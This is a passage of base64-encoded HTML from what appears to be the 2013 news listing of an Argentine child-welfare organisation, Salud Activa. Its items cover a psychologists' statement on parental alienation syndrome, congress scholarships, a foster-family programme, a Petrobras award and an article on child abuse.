vbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAg